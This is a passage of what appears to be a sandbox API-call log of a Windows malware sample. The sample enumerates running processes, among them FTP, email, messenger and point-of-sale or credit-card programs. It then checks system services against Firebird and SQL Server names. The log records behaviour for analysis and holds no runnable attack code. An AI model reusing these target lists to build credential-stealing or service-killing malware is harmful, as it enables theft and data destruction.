[0055.696] lstrlenW (lpString="filezilla.exe") returned 13 [0055.696] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0055.697] lstrlenW (lpString="flashfxp.exe") returned 12 [0055.697] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0055.697] lstrlenW (lpString="fling.exe") returned 9 [0055.697] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0055.698] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0055.698] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0055.698] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0055.698] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0055.699] lstrlenW (lpString="icq.exe") returned 7 [0055.699] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0055.699] lstrlenW (lpString="leechftp.exe") returned 12 [0055.700] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0055.700] lstrlenW (lpString="ncftp.exe") returned 9 [0055.700] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0055.701] lstrlenW (lpString="notepad.exe") returned 11 [0055.701] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0055.702] lstrlenW (lpString="operamail.exe") returned 13 [0055.702] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0055.703] lstrlenW (lpString="pidgin.exe") returned 10 [0055.703] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0055.704] lstrlenW (lpString="scriptftp.exe") returned 13 [0055.704] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0055.704] lstrlenW (lpString="skype.exe") returned 9 [0055.705] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0055.706] lstrlenW (lpString="smartftp.exe") returned 12 [0055.706] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0055.706] lstrlenW (lpString="thunderbird.exe") returned 15 [0055.706] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0055.707] lstrlenW (lpString="totalcmd.exe") returned 12 [0055.707] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0055.708] lstrlenW (lpString="trillian.exe") returned 12 [0055.708] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0055.709] lstrlenW (lpString="webdrive.exe") returned 12 [0055.709] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0055.709] lstrlenW (lpString="whatsapp.exe") returned 12 [0055.709] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0055.710] lstrlenW (lpString="winscp.exe") returned 10 [0055.710] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0055.711] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0055.711] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0055.712] lstrlenW (lpString="active-charge.exe") returned 17 [0055.712] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0055.712] lstrlenW (lpString="accupos.exe") returned 11 [0055.713] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0055.713] lstrlenW (lpString="afr38.exe") returned 9 [0055.713] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0055.714] lstrlenW (lpString="aldelo.exe") returned 10 [0055.714] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0055.715] lstrlenW (lpString="ccv_server.exe") returned 14 [0055.715] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0055.715] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0055.715] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0055.716] lstrlenW (lpString="creditservice.exe") returned 17 [0055.716] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0055.717] lstrlenW (lpString="edcsvr.exe") returned 10 [0055.717] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0055.718] lstrlenW (lpString="fpos.exe") returned 8 [0055.718] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0055.718] lstrlenW (lpString="isspos.exe") returned 10 [0055.718] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0055.719] lstrlenW (lpString="mxslipstream.exe") returned 16 [0055.719] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0055.720] lstrlenW (lpString="omnipos.exe") returned 11 [0055.720] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0055.744] lstrlenW (lpString="spcwin.exe") returned 10 [0055.744] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0055.745] lstrlenW (lpString="spgagentservice.exe") returned 19 [0055.745] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0055.745] lstrlenW (lpString="utg2.exe") returned 8 [0055.746] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0055.746] lstrlenW (lpString="slope.exe") returned 9 [0055.746] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0055.747] lstrlenW (lpString="entered.exe") returned 11 [0055.747] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0055.747] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0055.747] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0055.748] lstrlenW (lpString="attach.exe") returned 10 [0055.748] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0055.749] lstrlenW (lpString="obligations.exe") returned 15 [0055.749] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.749] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.749] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.750] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.750] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.750] lstrlenW (lpString="taskhost.exe") returned 12 [0055.750] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0055.751] lstrlenW (lpString="dllhost.exe") returned 11 [0055.751] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0055.752] lstrlenW (lpString="dllhost.exe") returned 11 [0055.752] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0055.753] lstrlenW (lpString="payload.exe") returned 11 [0055.753] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.753] lstrlenW (lpString="cmd.exe") returned 7 [0055.753] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0055.754] CloseHandle (hObject=0x114) returned 1 [0055.754] Sleep (dwMilliseconds=0x1f4) [0057.701] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6267d0 [0057.702] EnumServicesStatusExW (in: hSCManager=0x6267d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0057.702] GetLastError () returned 0xea [0057.702] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11e4) returned 0x629e28 [0057.703] EnumServicesStatusExW (in: hSCManager=0x6267d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x629e28, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x629e28, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0057.703] CloseServiceHandle (hSCObject=0x6267d0) returned 1 [0057.703] lstrlenW (lpString="Appinfo") returned 7 [0057.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0057.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0057.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0057.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0057.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0057.704] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0057.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.704] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0057.704] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0057.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0057.704] lstrlenW (lpString="AudioSrv") returned 8 [0057.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0057.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0057.704] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0057.704] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0057.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0057.704] lstrlenW (lpString="BFE") returned 3 [0057.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0057.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0057.704] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0057.704] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0057.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0057.704] lstrlenW (lpString="CryptSvc") returned 8 [0057.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0057.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0057.704] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0057.704] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0057.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0057.704] lstrlenW (lpString="CscService") returned 10 [0057.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0057.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0057.704] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0057.704] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0057.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0057.704] lstrlenW (lpString="DcomLaunch") returned 10 [0057.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.705] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0057.705] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0057.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0057.705] lstrlenW (lpString="Dhcp") returned 4 [0057.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0057.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0057.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0057.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0057.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0057.705] lstrlenW (lpString="Dnscache") returned 8 [0057.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0057.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0057.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0057.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0057.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0057.705] lstrlenW (lpString="DPS") returned 3 [0057.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0057.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0057.705] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0057.705] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0057.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0057.705] lstrlenW (lpString="eventlog") returned 8 [0057.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0057.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0057.705] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0057.705] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0057.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0057.705] lstrlenW (lpString="EventSystem") returned 11 [0057.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0057.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0057.705] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0057.705] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0057.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0057.706] lstrlenW (lpString="gpsvc") returned 5 [0057.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0057.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0057.706] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0057.706] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0057.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0057.706] lstrlenW (lpString="iphlpsvc") returned 8 [0057.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.706] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0057.706] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0057.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0057.706] lstrlenW (lpString="LanmanServer") returned 12 [0057.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0057.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0057.706] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0057.706] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0057.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0057.706] lstrlenW (lpString="LanmanWorkstation") returned 17 [0057.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.706] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0057.706] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0057.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0057.706] 